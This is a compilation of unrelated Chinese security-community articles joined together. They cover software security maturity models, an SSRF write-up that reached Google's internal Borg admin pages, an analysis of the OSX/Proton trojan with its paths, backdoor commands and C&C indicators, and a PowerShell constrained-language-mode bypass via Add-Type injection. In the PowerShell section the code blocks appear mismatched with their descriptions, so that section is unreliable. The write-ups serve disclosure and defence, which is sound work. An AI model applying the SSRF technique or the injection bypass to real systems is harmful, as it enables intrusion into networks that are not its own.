本文介绍了BSIMM、SAMM、SDL优化模型、CMMI+SAFE等四款软件安全构建成熟度模型，分析了这些模型近年来的演变及其产生的原因。
**软件安全构建成熟度模型概述**
该部分介绍各软件安全构建成熟度模型的由来、概念和基本组成。
**1、内建安全成熟度模型BSIMM**
内建安全成熟度模型（Building Security In Maturity
Model，简称BSIMM），是2009年3月正式提出的。BSIMM的核心目的就是对组织所实施的“软件安全举措”进行量化。
软件安全框架(Software Security Framework，以下简称为SSF)
是BSIMM赖以成型的基本结构，如上图所示，它为各种安全活动提供了一个通用的词汇表，来解释"软件安全举措"中的主要要素。
从2013年开始，BSIMM经历了3个版本的变动：2013年10月的BSIMM 5、2015年10月的BSIMM 6和2016年8月的BSIMM
7。在这三个版本的变动中，其基础的SSF框架并没有任何的变动。
**2、软件保障成熟度模型SAMM**
软件保障成熟度模型(Software Assurance Maturity Model，简称SAMM)
是一个开放式的框架，用于帮助组织制定并实施所面临来自软件安全的特定风险的策略。在2009年3月发布正式版之后，它成为OWASP 的项目之一。
SAMM的框架顶层定义了四种关键业务功能，而每种关键业务功能下又包含了三类安全措施，共计12种安全措施，如上图所示。
自2009年SAMM 1.0发布之后，SAMM共更新过两次，分别是2016年3月的SAMM 1.1和2017年4月的SAMM 1.5。
**3、安全开发生命周期SDL优化模型**
SDL
优化模型围绕5个功能领域构建，这些领域大致与软件开发生命周期的各个阶段相对应：培训以及政策、组织功能、要求和设计、实施、验证、发布和响应。针对这些领域中的实践和功能，SDL
优化模型还定义了四个成熟度水平——基本、标准、高级和动态。其结构如下图所示。
从SDL优化模型2008年发布以来，它的内容未更新过。而且现在微软的官方网站上也找不到相关材料，只是在“安全自评估”的页面中提到：“使用SDL优化模型能够帮助组织评估产品在开发过程中的安全状态，随后组织可以利用SDL
优化模型为渐进地、经济地创建更安全、可靠的软件提供愿景和实施路线”。
**4、CMMI+SAFE**
+SAFE模型是由澳大利亚国防部和美国卡内基梅隆大学共同研制开发的，并且针对CMMI 开发模型（CMMI-DEV）增加了两个额外的过程域，涵盖安全管理和安全工程的内容。
+SAFE旨在识别安全关键产品的安全性强项和弱项，并且意图在产品采购过程的早期识别出的安全漏洞。
从2007年3月发布以来，+SAFE的内容也未更新过。
**软件安全构建成熟度模型的演变**
本节，我们对近年来模型的演变情况进行分析，因为只有BSIMM和SAMM存在内容的更新，所以主要聚焦在这两个模型上。
**1、BSIMM的演变**
**（1）模型演变**
BSIMM模型基础框架SSF近年来并没有变化，而只是对各种安全活动的变更。具体情况如下表：
其中，紫色框表示该活动为该版本BSIMM新增加内容；绿色框表示该活动的成熟度级别进行了上调，即考虑的优先级有较明显的降低；橙色框表示该活动的成熟度级别进行了下调，即考虑的优先级有较明显提升。
**安全活动增加**
从上表中可以看到，在BSIMM 5和BSIMM
7中分别新增了一项安全活动，为“运营漏洞奖励计划”和“使用应用程序容器”。“运营漏洞奖励计划”是为了借助更多的外部技术力量来保障软件安全，而“使用应用程序容器”则明显是顺应了目前大量使用Docker等容器进行开发的趋势。
**安全活动级别调整**
另外，在版本演变的过程中，对部分安全活动的成熟度级别进行了调整。在3次版本更新的所有13项变化中，只有3项的成熟度级别进行了下调，也就是说这3项活动的应用趋势有较明显的增加，分别是：“使用自动化工具检测自定义规则”、“将安全测试包括在QA自动化中”和“执行为应用程序API定制的模糊测试”。
一方面，这三项活动分别属于“代码审计”和“安全测试”这两项安全实践，且都属于“SSDL接触点”这个领域；另一方面，前两项都与自动化相关，可见安全测试的自动化趋势愈加明显。安全测试自动化的需求应主要来自于DevOps；而对应用API进行模糊测试的需求可能来源于大量Web
API的使用。
**（2）数据演变**
由于BSIMM是一种观察模型，所以BSIMM中也包含了观察到的各种数据。而这些数据的变化，也揭示了一些安全开发的趋势。
加入BSIMM社区（参与BSIMM评估）厂商的详细分布数据如下表所示：
从数据中可以看到，越来越多的垂直行业开始参与到BSIMM的评估中，从最开始的金融服务、软件开发，到医疗和物联网，再到云厂商和保险厂商。
加入BSIMM社区的安全人员和开发人员对比的详细数据如下表所示：
从上表中可以看出，安全人员与开发人员的比例呈现逐步上升的趋势（从BSIMM 4到BSIMM 5的数据下降，是因为BSIMM
5引入了数据新鲜度的概念，数据的计算方式有所变化）。
**2、SAMM演变**
与BSIMM类似，SAMM的整体框架（业务功能、安全实践）并没有变化。但是在形式和内容上，进行了大量的丰富和完善。
SAMM 1.1的改进
如上图所示，在SAMM 1.1中，原有的SAMM
1.0模型被划分成了两部分：操作指南和核心模型。并新增了快速入门指南、工具箱、OWASP资源和SAMM基准。
**SAMM 1.5的改进**
SAMM
1.5通过细化评分模型提升了评估的粒度，并在成熟度基准的评估中允许部分评分。现在，组织将获得在安全实践中完成的所有相关工作的评分，而不是将分数保持在最高的成熟度水平。
同时，SAMM 1.5通过工作表和指南中的典型案例，帮助组织在理解自身安全状况定位的同时，也知道类似情况下哪些工作对于别人是有效的。
从两次SAMM的演变情况中，可以看出SAMM对于评估的可操作性和实用性进行了较大的改进。不难看出，在企业对软件安全构建成熟度模型一无所知的情况下，如果想对开发安全状况进行自评估、了解下一步的改进方向，那么SAMM无疑是成本最小、最便捷的方式。
**分析及展望**
通过上述分析可以得出以下结论：
**软件安全成熟度模型，仍然以大量安全实践和统计数据为基础。本文中分析的软件安全成熟度模型，近年来并没有发生大的变动。自2013年来，这四个模型的基础框架都未发生变化，仍然是以安全实践和安全活动为主，并未引入新的理论依据。**
**安全构建成熟度模型会根据软件开发技术的发展而演变。BSIMM新增的安全活动“使用应用程序容器”，以及对“使用自动化工具检测自定义规则”、“将安全测试包括在QA自动化中”和“执行为应用程序API而定制的模糊测试”的级别调整，都揭示了容器、DevOps、Web
API等对成熟度模型的影响。**
**安全测试的工具化、自动化，是未来的发展趋势。为了顺应现代软件开发部署的快节奏，软件安全测试的工具化、自动化将势不可挡。例如SAMM的工具化、实用化演变，SDL威胁建模工具、静态分析工具、二进制验证工具的持续更新，BSIMM中“使用自动化工具检测自定义规则”、“将安全测试包括在QA自动化中”这种自动化安全活动的兴起，都证实了这一点。**
**软件安全将受到越来越多的关注与重视。从BSIMM的数据演变中可以发现，无论是加入软件评估的企业数目，还是各企业内专业从事软件安全的人员比例，都呈现逐步上升的趋势。**
对于软件开发安全的未来趋势，我们认为：随着DevOps、微服务等软件开发技术的发展，传统软件安全的形态不断发生着演变。很多测试、评估的技术路线都在持续地演进，但是自动化、高速、与传统开发流程进行融合的趋势将愈发明显。工具化、自动化的安全测试将会成为各家公司保障软件安全的基础举措，而安全从业人员能够将更多精力投入到过程的改进与管理中。根据目前各软件安全构建成熟度模型的情况，我们也给出如下建议：
**对于依托互联网、云服务等技术演变迅速的高科技公司，应尽可能避免使用SDL优化模型、CMMI+SAFE模型，因为其内容已经较长时间没有更新，可能有些细节已经无法与现阶段的开发过程或技术相匹配；**
**对于资源相对充足、安全关键的大型机构，可以采用BSIMM模型来指导安全开发体系的建设，同时引入专业的安全开发咨询服务，来尽可能保证企业始终处于较高的安全水平；**
**对于资源有限的中小型公司或创业公司，可以考虑引入SAMM模型，从而在控制成本的同时，尽快提升整体的软件安全水平。** | 社区文章 |
# 我是怎么通过生产网SSRF漏洞进入谷歌Borg的
##### 译文声明
本文是翻译文章，文章原作者 Enguerran Gillier，文章来源：opnsec.com
原文地址：<https://opnsec.com/2018/07/into-the-borg-ssrf-inside-google-production-network/>
译文仅供参考，具体内容表达以及含义原文为准。
## 简介 – 测试谷歌网站和谷歌Caja
Caja是Google的一个能对html和javascript做XSS过滤的工具，2018年3月笔者发现并向谷歌提交了一个Caja的XSS漏洞。到5月份的时候，这个XSS问题已经被修复，不过我发现谷歌某站点用的是没有打补丁的Caja，所以马上看了下能不能XSS，然而并没有成功。
Caja在解析html和JavaScript文件时会过滤掉敏感的js内容，比如iframe标签、object标签以及像document.cookie这种的敏感的js属性。正常情况是在客户端操作和过滤这些html标签，但如果涉及到远程js标签(比如<script
src=”xxx”>这种)，那这些远程资源会在服务端进行获取、解析和过滤。
我在自己的服务器上上传了一个js文件`https://[attacker].com/script.js`，用来检查谷歌某网站在服务端解析js时有没有XSS漏洞，可惜服务器响应是访问不到这个远程js。
测了半天，结论是Caja只能获取到`https://www.google.com`和`https://www.gstatic.com`这些来自谷歌官方的远程资源，而像`https://www.facebook.com`这种第三方的是访问不了的。
谷歌的这个逻辑不太合乎常理，这么做风险会比较大，因为谷歌的业务线很广泛，一般来说一个URL不太好判断是不是谷歌官方的，会比较容易误判。不过也许在某种情况下，能轻而易举地让谷歌认为是一个来自官方的资源……
## 那就是在谷歌发现的SSRF漏洞
一般当我发现谷歌的后端内容服务器的话，我都会先测一下SSRF问题，不幸的是我测试了百来次都没有成功找到漏洞。不管怎么说我确定了Caja是在谷歌的内网中做的抓取，否则不会只加载内部资源，而不能获取第三方资源，这应该是个bug，但是不是安全漏洞还得进行进一步的确认。
因为谷歌云服务的存在，在谷歌自家服务器上托管和运行代码就是一件顺理成章的事情了，我创建了一个云App服务实例，上传了之前放在第三方的js文件，然后在谷歌某站点上引用这个远程js，神奇地发现谷歌Caja获取并且解析了这个js！之后我查看了云App上的记录的远程IP，居然是10.x.x.201这样的一个内网地址，看起来胜利就在眼前了。
我用这个内网IP替换了本来谷歌某站点访问外部js资源的URL，等着服务器响应，花了30秒还没加载出来，又想到谷歌的SSRF可不是那么好挖的，在我要放弃的最后一刻，居然加载出来了，而且不是普通的错误响应码，响应内容大概有1M那么大……难怪加载这么久，打开确认了下全都是内网的数据，我惊呆了！
## 从谷歌内部来看
我并没有扫描谷歌的内网，只是发了以下几个请求证明漏洞存在，并立即向谷歌漏洞赏金计划报告了该漏洞，我是在周六提交的，谷歌响应迅速，在48小时内就修复了，期间我还尝试了能不能引起RCE漏洞，然而并没有成功。下图是Borg的架构图：
第一个请求是发给`http://10.x.201/`这个地址的，服务器返回的是Borg的管理页面(文章开头的图)，Borg是谷歌内部的大规模集群管理系统，经过搜索查证后，我确认直接访问到了内部Borg系统。虽然谷歌在2014年开源了Borg的下一代产品Kubernetes，开源的Kubernetes日益流行，但是在内部生产环境仍然是依赖Borg的，当然这并不是因为Borg的界面设计(开个玩笑）。
第二个请求是发给
`http://10.x.x.1/`这个地址的，响应是另外一个Borg的管理页面，第三个请求是发到`http://10.x.x.1/getstatus`，响应的Borg管理页面比前两个有更多的细节，有详细的权限和参数信息。这两个Borglet都是一个实体的后端服务器。
硬件方面，这两台服务器都用了Haswell的CPU，主频2.3G赫兹，72核，相当于一组两台或者三台的Xeon E5
v3的CPU，两台服务器的CPU利用率都在77%，有250G的内存，已经使用了70%，硬盘的容量是2T，基本没有使用，大概只用掉了15G的空间，没有固态硬盘，所以数据应该不是存在这两台服务器上的。
机器上的任务非常多，是整合优化过的，有一些任务用消耗的是内存，有的消耗CPU或者网络资源，还有一些任务是高优先级的，有一些视频编码、邮箱和广告的服务比较频繁，这些看起来都是正常的，视频处理起来本来就比较耗资源，Gmail是谷歌的主要服务，广告也是谷歌的核心业务。
我没有找到谷歌站点或者Caja的任务，要不就是走了代理，要不就是Borg的10.x.x.201和我在谷歌云App上收集到的IP是不同的内网。
参考谷歌的架构，我基本上找到了和谷歌Stack的几乎所有的组件相关的任务，特别是 MapReduce, BitTable, Flume, GFS…等等这些。
技术方面，大部分用的语言都是java，没有发现部署过Python、C++、NodeJs或者Go语言，当然结论也不能下的太早了，说不定是我没有发现呢。
Borg和Kubernetes一样，都是依赖Docker和VM这样的容器，但视频处理好像使用的是谷歌的开源工具Gvisor，大概是为了在容器的性能和VM安全之间做的一个平衡吧。
不同参数会展示如何到达端口的应用信息的，在Borg系统里，好像所有的应用都是用的同一个IP地址，用不同的服务端口区分。
应用中的对象是最有意思的，因为这些基本就是源代码了，我发现了一些谷歌没有公开的有趣小算法：
MSCR(M(Customer.AdGroupCriterion+Customer.AdGroupCriterion-marshal+FilterDurianAdGroupCriterion+FilterNeedReviewAdGroupCriterion+GroupAdGroupCriterionByAdGroupKey+JoinAdGroupData/MakeUnionTable:3)+M(JoinAdGroupData/MakeUnionTable:2)+M(Customer.AdGroup+Customer.AdGroup-marshal+FilterDurianAdGroup+ParDo(AdGroupDataStripFieldsFn)+JoinAdGroupData/MakeUnionTable)+R(JoinAdGroupData/GroupUnionTables+JoinAdGroupData/ConstructJoinResults+JoinAdGroupData/ExtractTuples+ExtractCreativeAndKeywordReviewables))
还有Gmail的系统管理用户是`[[email protected]](mailto:[email protected])`
[email protected]
还有一个用户“legal-[[email protected]](mailto:[email protected])”在数据库记录mdb:all-person-users
中有“auth.impersonation.impersonateNormalUser”的权限(澄清一下，只是在一个大数组中看到的信息，按照字面意思理解，不一定准确)。
也有一些历史信息证明有很多的项目在实现之前就被中断了。
/getFile?FileName=/sys/borglet/borglet.INFO
大量的URL是去访问其他的服务器或者终端，我觉得比较有戏的一个`http://wiki/`地址也访问不到，详细的路径是
/getFileFileName=/sys/borglet/borglet.INFO
## 谷歌漏洞赏金计划的响应
我是在2018年5月12日(周六)提交的漏洞，系统自动判定为P3，大概是个中危的等级，周天我又给谷歌安全团队发了一封邮件，希望有人能跟进下，周一上午风险等级被修改成了P0，也就是严重级别，再后来改为P1高危，周一晚上漏洞修复，有风险的后端就下线了。
要确定SSRF的影响范围不太容易，要看在内网里能访问到多少信息，谷歌一般是在内部使用大量的web站点来维持基础架构，也就是说，一旦发生SSRF，就意味着可以访问到大量的内部web应用，不过好在很多系统都做了鉴权和身份认证，降低了SSRF的危害。
我提的这个漏洞里，正好Borglet系统的管理页面没有做身份认证，所以泄漏了大量的基础信息，或许在继任产品Kubernetes中是做了授权的，所以没有泄漏。
谷歌VRP奖励我$13337，相当于任意文件访问的等级，对方解释说虽然大部分资源都需要权限校验，但很多开发人员在调试程序时都有很大的权限，可能造成的问题不仅仅是信息泄漏，因此按照最高的风险等级来奖励。也感谢谷歌的奖金、负责任的态度和迅速的响应，当然也希望谷歌不会因为我这篇文章追责(开个玩笑，文中所有敏感信息都处理掉了)。
这就是我发现谷歌SSRF的全过程，希望大家能有所收获，欢迎大家踊跃交流。 | 社区文章 |
# 【技术分享】OSX/Proton木马借供应链攻击重现江湖
|
##### 译文声明
本文是翻译文章，文章来源：welivesecurity.com
原文地址：<https://www.welivesecurity.com/2017/10/20/osx-proton-supply-chain-attack-elmedia/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：150RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
几个小时之前，ESET研究人员注意到，El媒体播放器软件的制造商Eltima竟然在自家的官方网站上发布了一个含有OSX/Proton恶意软件的版本。ESET对恶意软件进行核实之后，立即联系了Eltima，他们的反应非常迅速，并在整个事件中一直与我们保持良好的沟通。
**
**
**时间线**
2017-10-19：木马程序被核实
2017-10-19美国东部时间上午10:35：通过电子邮件通知Eltima
2017-10-19美国东部时间上午2:25：Eltima确认了这一问题，并启动补救工作
2017-10-19美国东部时间下午3:10：Eltima确认其基础设施已经清理完毕，并重新提供正常的应用程序
**
**
**我被黑了吗？**
根据ESET的建议，最近下载过Elmedia
Player软件的所有用户，可以通过检查自己的计算机上面是否存在下面的任意文件或目录，来确认是否受到本次木马事件的影响：
/tmp/Updater.app/
/Library/LaunchAgents/com.Eltima.UpdaterAgent.plist
/Library/.rand/
/Library/.rand/updateragent.app/
如果机器中发现了上述任何一个文件或目录的话，则表明被植入特洛伊木马的Elmedia播放器已被执行，并且系统很可能已经感染了OSX/Proton。
如果您是在10月19日美国东部时间下午3点15分之前下载并运行过该软件的话，那么您的系统很可能已经被感染了。
据我们所知，只有从Eltima网站下载的相应版本中才含有特洛伊木马程序。但是，内置的自动更新机制似乎没有受到此次事件的影响。
**
**
**恶意软件的payload到底对受感染的系统有何影响？**
OSX/Proton是一款具有强大的数据窃取功能的后门软件。它能够常驻系统，并窃取以下内容：
1\. 操作系统详细信息：硬件序列号（IOPlatformSerialNumber）、当前用户的全称、主机名、系统完整性保护状态（csrutil
status）、网关信息（route -n get default | awk ‘/gateway/ { print $2 }’）和当前时间和时区
2\. Chrome、Safari、Opera和Firefox等浏览器的相关信息：历史记录、Cookie、书签、登录数据等。
3\. 加密数字货币钱包：
Electrum钱包: ~/.electrum/wallets
Bitcoin Core钱包: ~/Library/Application Support/Bitcoin/wallet.dat
Armory钱包: ~/Library/Application Support/Armory
4\. SSH保密数据（所有.ssh内容）
5\. macOS的keychain数据，这是通过改进版的chainbreaker窃取的
6\. Tunnelblick VPN配置（~/Library/Application
Support/Tunnelblick/Configurations）
7\. GnuPG数据（~/.gnupg）
8\. 1Password数据（~/Library/Application Support/1Password 4 and
~/Library/Application Support/1Password 3.9）
9\. 所有已安装应用程序的清单
**
**
**如何清理我的系统？**
像这种管理员帐户被黑的情况，重装系统是摆脱恶意软件的唯一可靠方法。此外，由于上一节中介绍的数据已经被窃，所以受害者还应做好相应的补救措施。
Mac平台上的供应链攻击
去年，Mac平台上的Bittorrent客户端程序Transmission被滥用，曾经两度传播恶意软件，第一次传播的是勒索软件OSX/KeRanger，第二次传播的是窃取密码的木马软件OSX/Keydnap。今年，视频转码程序Handbrake又被发现捆绑了OSX/Proton。
今天，ESET发现了另一款流行的Mac软件也被用于传播OSX/Proton，它就是Elmedia的媒体播放器——截止今年夏天，该软件的用户已经超过了10万：
**
**
**技术分析**
OSX/Proton是一款在地下论坛中以套件形式出售的RAT。在今年年初，Sixgill曾经对其进行过简单的介绍，后来Thomas Reed、Amit
Serper和Patrick Wardle分别对其进行了更加深入的分析。
在本次的Eltima特洛伊木马软件案例中，攻击者为Elmedia
Player和Proton构建了一个带有签名的包装器。实际上，根据我们的观察，这个包装器好像使用了实时的重新打包和签名技术，并且使用的都是同一个合法的Apple
Developer
ID。下面按照历史顺序给出了已知的样本。据Eltima和ESET称，他们正在与Apple合作，废除这个为恶意应用程序签名的Developer
ID。（苹果公司已经吊销了这个证书。）
（下面的时间都是按照EDT时区计时的）
正常的应用程序:
被植入木马的应用程序:
首先，包装器启动了存放在该应用程序的Resources文件夹中的真正的Elmedia Player应用程序：
最后，提取并启动了OSX/Proton：
OSX/Proton展示了一个伪造的Authorization窗口来获得root权限：
**持久性**
在受害者输入密码后，OSX/Proton会为所有用户添加一个LaunchAgent，从而获得持久性。它会在系统中创建下列文件：
/Library/LaunchAgents/com.Eltima.UpdaterAgent.plist
/Library/.rand/updateragent.app
$ plutil -p /Library/LaunchAgents/com.Eltima.UpdaterAgent.plist
{
"ProgramArguments" => [
0 => "/Library/.rand/updateragent.app/Contents/MacOS/updateragent"
]
"KeepAlive" => 1
"RunAtLoad" => 1
"Label" => "com.Eltima.UpdaterAgent"
}
**后门命令**
前面说过，OSX/Proton是一个具有强大信息窃取功能的后门程序。根据我们的观察，其后门组件支持以下命令：
**archive 使用zip归档文件**
**copy 在本地复制文件**
**create 在本地创建目录或文件**
**delete 在本地删除文件**
**download 从URL下载文件**
**file_search 搜索文件（执行find / -iname "%@" 2 > /dev/null）**
**force_update 带有数字签名验证的自我更新**
**phonehome**
**remote_execute 执行.zip文件或给定的shell命令中的二进制文件**
**tunnel 使用22或5900端口创建SSH隧道**
**upload 将文件上传到C＆C服务器**
**C＆C服务器**
Proton使用的C＆C域名模仿自合法的Eltima域名，这种做法跟Handbrake的差不多：
**IOCs**
**URL**
在受到感染的程序被发现时，分发木马程序的URL为：
hxxps://mac[.]eltima[.]com/download/elmediaplayer.dmg
hxxp://www.elmedia-video-player.com/download/elmediaplayer.dmg
**C＆C服务器**
eltima[.]in / 5.196.42.123 (domain registered 2017-10-15)
**哈希值**
**** | 社区文章 |
# 【技术分享】利用PowerShell代码注入漏洞绕过受限语言模式
|
##### 译文声明
本文是翻译文章，文章来源：exploit-monday.com
原文地址：<http://www.exploit-monday.com/2017/08/exploiting-powershell-code-injection.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[myswsun](http://bobao.360.cn/member/contribute?uid=2775084127)
预估稿费：170RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**0x00 前言**
[**受限语言模式**](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_language_modes)
是一种非常有效的机制，能阻止在PowerShell中执行任意未签名的代码。当 **Device Guard** 或者 **AppLocker**
处于强制模式时，它是最实际有效的强制安全措施，因为未被策略允许的任何脚本或者模块都位于受限语言模式下，这严重限制了攻击者执行未签名的代码。通过限制语言模式限制了
**Add-Type** 的调用。限制Add-Type明显是考虑到了它能编译并加载任意的C#代码到你的运行空间中去。但策略允许的PowerShell代码运行在“Full
Language”模式下，允许执行Add-Type。这样，微软签名的PowerShell的代码就能调用Add-Type。不相信吗？运行下面的命令你就会发现我是正确的。
**
**
**0x01 漏洞利用**
现在，想像一下如果下面的PowerShell模块代码（姑且称为“VulnModule”）有微软的签名：
ls C:* -Recurse -Include '*.ps1', '*.psm1' |
Select-String -Pattern 'Add-Type' |
Sort Path -Unique |
% { Get-AuthenticodeSignature -FilePath $_.Path } |
? { $_.SignerCertificate.Subject -match 'Microsoft' }
那么有什么可以影响来自受限语言模式的Add-Type的输入呢？
好了，让我们一起思考下吧：
1\. Add-Type作为类型定义传递给一个全局变量。因为它是全局的，它可以被任何人访问，包括我们和攻击者。
2\. 问题是，签名的代码先于调用Add-Type就定义了全局变量，因此如果我们使用自定义的恶意的C#代码，这将会被合法的代码覆盖。
3\. 你知道能用Set-Variable cmdlet来设置变量只读吗？你知道我现在在想什么了吧？
**
**
**0x02 武器化利用**
好了，为了从受限语言模式注入代码到Add-Type中，攻击者需要定义他们的恶意代码为一个只读变量，拒绝签名代码设置全局变量“Source”。下面是PoC：
$Global:Source = @'
public class Test {
public static string PrintString(string inputString) {
return inputString;
}
}'@
Add-Type -TypeDefinition $Global:Source
简要说明下Add-Type注入缺陷。受限语言模式的一个限制是你不能调用非白名单类的.NET方法，但有两个例外：属性（getter方法）和ToString方法。在上面的PoC中，我选择了实现一个静态的ToString方法，因为ToString允许传递参数（getter不行）。我的类也是静态的，因为.NET类的白名单只在New-Object实例化对象时适用。
那么上面的漏洞代码是否听起来不切实际呢？你可以这么认为，但是[Microsoft.PowerShell.ODataUtils](https://technet.microsoft.com/en-us/library/dn818911.aspx) 模块中的Microsoft.PowerShell.ODataUtils也有这个漏洞。微软在
[CVE-2017-0215](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0215),
[CVE-2017-0216](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0216),
[CVE-2017-0219](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0219)中修复了它。说实话，我不太记得了。[Matt
Nelson](https://twitter.com/enigma0x3) 和我都报告了这些注入bug。
**
**
**0x03 阻止措施**
最简单的阻止这种注入攻击的方式是，直接在Add-Type使用单引号的[here-string](https://technet.microsoft.com/en-us/library/ee692792.aspx)给TypeDefinition。单引号的字符串不会扩展任何内嵌的变量或者表达式。当然，这个场景假设了你是编译静态代码。如果你动态生成代码给Add-Type，要特别注意攻击者可能影响你的输入。为了理解影响PowerShell中代码执行的方法，可以参见我在PSConf.EU上的演讲“[Defensive
Coding Strategies for a High-Security
Environment](https://www.youtube.com/watch?v=O1lglnNTM18)”。
**
**
**0x04 缓解措施**
尽管微软在推动解决这个漏洞，我们有什么可以做的呢？
有个关于UMCI绕过二进制的有效的黑名单规则是[文件名规则](https://docs.microsoft.com/en-us/windows/device-security/device-guard/deploy-code-integrity-policies-policy-rules-and-file-rules#code-integrity-file-rule-levels)，其能基于PE文件中版本信息资源中的原始文件名来阻止程序执行。PowerShell很明显不是个PE文件，它是文本文件，因此文件名规则不适用。但是，你可以通过使用哈希规则强制阻止有漏洞的脚本。Okay…要是相同脚本有不止一个漏洞呢？目前为止你只阻止一个哈希。你开始注意这个问题了吗？为了有效的阻止之前所有有漏洞的版本的脚本，你必须知道所有有漏洞的版本的哈希。微软意识到了问题并尽最大努力来扫描所有之前发布的有漏洞脚本，且收集哈希将他们整合到了[黑名单](https://docs.microsoft.com/en-us/windows/device-security/device-guard/deploy-code-integrity-policies-steps#create-a-code-integrity-policy-from-a-golden-computer)中。通过他们的哈希阻止所有版本的有漏洞的脚本有一定挑战性，但能一定程度上阻止攻击。这就是为什么一直迫切需要只允许PowerShell
5的执行并要开启scriptblock日志记录。[Lee Holmes](https://twitter.com/Lee_Holmes)
有篇关于如何有效的阻止老版本的PowerShell的[博文](http://www.leeholmes.com/blog/2017/03/17/detecting-and-preventing-powershell-downgrade-attacks/)。
另一种方式是系统中大部分脚本和二进制都是catalog和Authenticode签名的。Catalog签名不是意味着脚本有内嵌的Authenticode签名，而是它的哈希存储在微软签名的catalog文件中。因此当微软更新时，老版本的哈希将会过期，将不再是被签名的了。现在，一个攻击者也能将老的签名的catalog文件插入到catalog存储中。你不得不提权执行操作，关于这个，有很多方法可以绕过Device
Guard UMCI。作为一个搜索有漏洞脚本的研究员，首先要寻找具有内嵌Authenticode签名的有漏洞脚本（有字符串“SIG # Begin
signature block”的提示）。Matt Nelson说这种bypass脚本存在。
**
**
**0x05 报告**
如果你找到了一种绕过，请将它上报给[[email protected]](mailto:[email protected])
，你将得到一个CVE。PowerShell团队积极解决注入缺陷，但是他们也主动解决用于影响代码执行的一些方式。
**
**
**0x06 总结**
尽管受限语言模式能有效的阻止未签名代码的执行，PowerShell和它的签名过的模块或脚本还是有很多攻击面。我鼓励每个人都来寻找更多的注入缺陷，上报他们，通过官方的MSRC获得荣誉，并使得PowerShell生态变得更加安全。同时希望，PowerShell的代码作者要自我检视。
现在我解释了所有的内容，但是因为设计缺陷允许利用竞争条件，所以调用Add-Type还是有[注入的漏洞](http://www.exploit-monday.com/2017/07/bypassing-device-guard-with-dotnet-methods.html)。我希望能继续阐述这些问题，且希望微软将考虑解决这个基础问题。 | 社区文章 |
# 让网络空间测绘技术不再那么飘忽不定
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
前一段时间，朋友发给我一篇[英文文章](https://link.springer.com/chapter/10.1007/978-981-33-4922-3_15)，说这篇名为《A
Survey on Cyberspace Search
Engines》的文章里面把几家做网络空间测绘的平台进行了比较。通常我对于这种都不太在意，没有比做让用户认可的技术更重要的事情了，用户都是用脚投票，好用我就来，不好用就走。用户能够感知到你的用心程度，所以不必尝试去证明什么，客户能做判断。尤其还是英文的文章，我不觉得能对99%都是国内用户的fofa平台分析出个什么来，至少目前我还没有精力关注这一块。一直到后来，经过人家提醒，我才发现第一作者是来自国内某权威单位的专家，由此我不得不重视和关注。
在我深入的分析了文章之后，我有两个很清晰的感觉。一是网络空间测绘这个网络安全细分领域的技术，得到了来自权威部门的关注和认可，这对我们这些一直坚持在技术一线的团队和公司来说，是一件非常非常值得开心的事情，这比我们自说自话要有意义得多。由于一直没有特定的行业标准和资质品类，至今类似公司的相关产品申请的销售许可都是往漏洞扫描器去挂靠。如果得到的响应地关注，我们可以预见在不远的将来，行业能够得到更加规范的发展。二是由于这门技术的特殊性（主要还是大家对技术总结的比较少），导致一些非常基础的概念大家都并有能够达成共识，产生了一些理解上非常明显的“偏差”。想了想，我觉得我们还是有责任来总结一些我们的理解，提供一些小小的建议，仅供大家参考。
## 一）参考链接比较随意，非权威来源，且缺少价值信息；
根据文章链接内容3（<https://www.zoomeye.org/doc?Thechannel=user#d-service>），作者尝试说明zoomeye的用户手册中提到了协议来源于nmap-services的描述。点进去页面后却发现并没有任何内容提到这一点，且连nmap字样都看不到。我们姑且认为网站进行了改版，以前的信息看不到了，那么我们思考一个问题，我们可以宣称参考了某个规范，它可以解读为a）我们部分实现了里面的协议；b）我们全部实现了所有协议；官方未必有这个意思，不过文章中显然采信了第二种假设。于是我们做了一个很小的随机抽样测试，随机选择了nmap-services中的50个协议进行确认，zoomeye只实现了其中的11种，这个证伪的过程是比较简单的（具体测试方法，如果相关同事有兴趣，可以联系我们）。从另一个角度，如果以后各网络空间测绘引擎在各自官网都写上，我们的“协议参考了nmap以及wireshark”，这个领域对比是不是就简单了？
文章参考链接的4（<https://www.freebuf.com/articles/ics-articles/196647.html>），名称叫做《2018年工业控制网络安全态势白皮书》。文章说fofa的协议列表来源于这篇文章，事实上引用的来源文章里面非但完全没有提及fofa，而且来源明确说了信息是根据“东北大学谛听网络安全团队根据“谛听”网络空间工控设备搜索引擎收集的各类安全数据”。这种“张冠李戴”的情况出现在一个严谨的学术论文，实属难以理解。退一万步说，2018年的分析也不能跟另外几家的现在去比较，很简单的逻辑是：仅工业控制协议，Fofa从2018年起都增加了数十个。
基于上面的分析，我们认为数据的参考是不可取的，其实国内各平台应该也愿意配合官方进行标准的制定，如果有权威部门进行汇总整理，由各平台自行保送，加上权威部门的验证确认更合理一点。一定要确认，因为参考了不一定实现了，实现了不一定准确了，准确了不一定全网数据采集全面了。对比就是为了区分不同平台的优劣势，大家选择发力方向不同，结果自然不同。
## 二）对比的核心维度概念模糊，存在不一致性；
其中这一张图比较有代表性。我们稍微介绍一下在网络空间测绘领域比较重要的几个基本数据的统计维度：
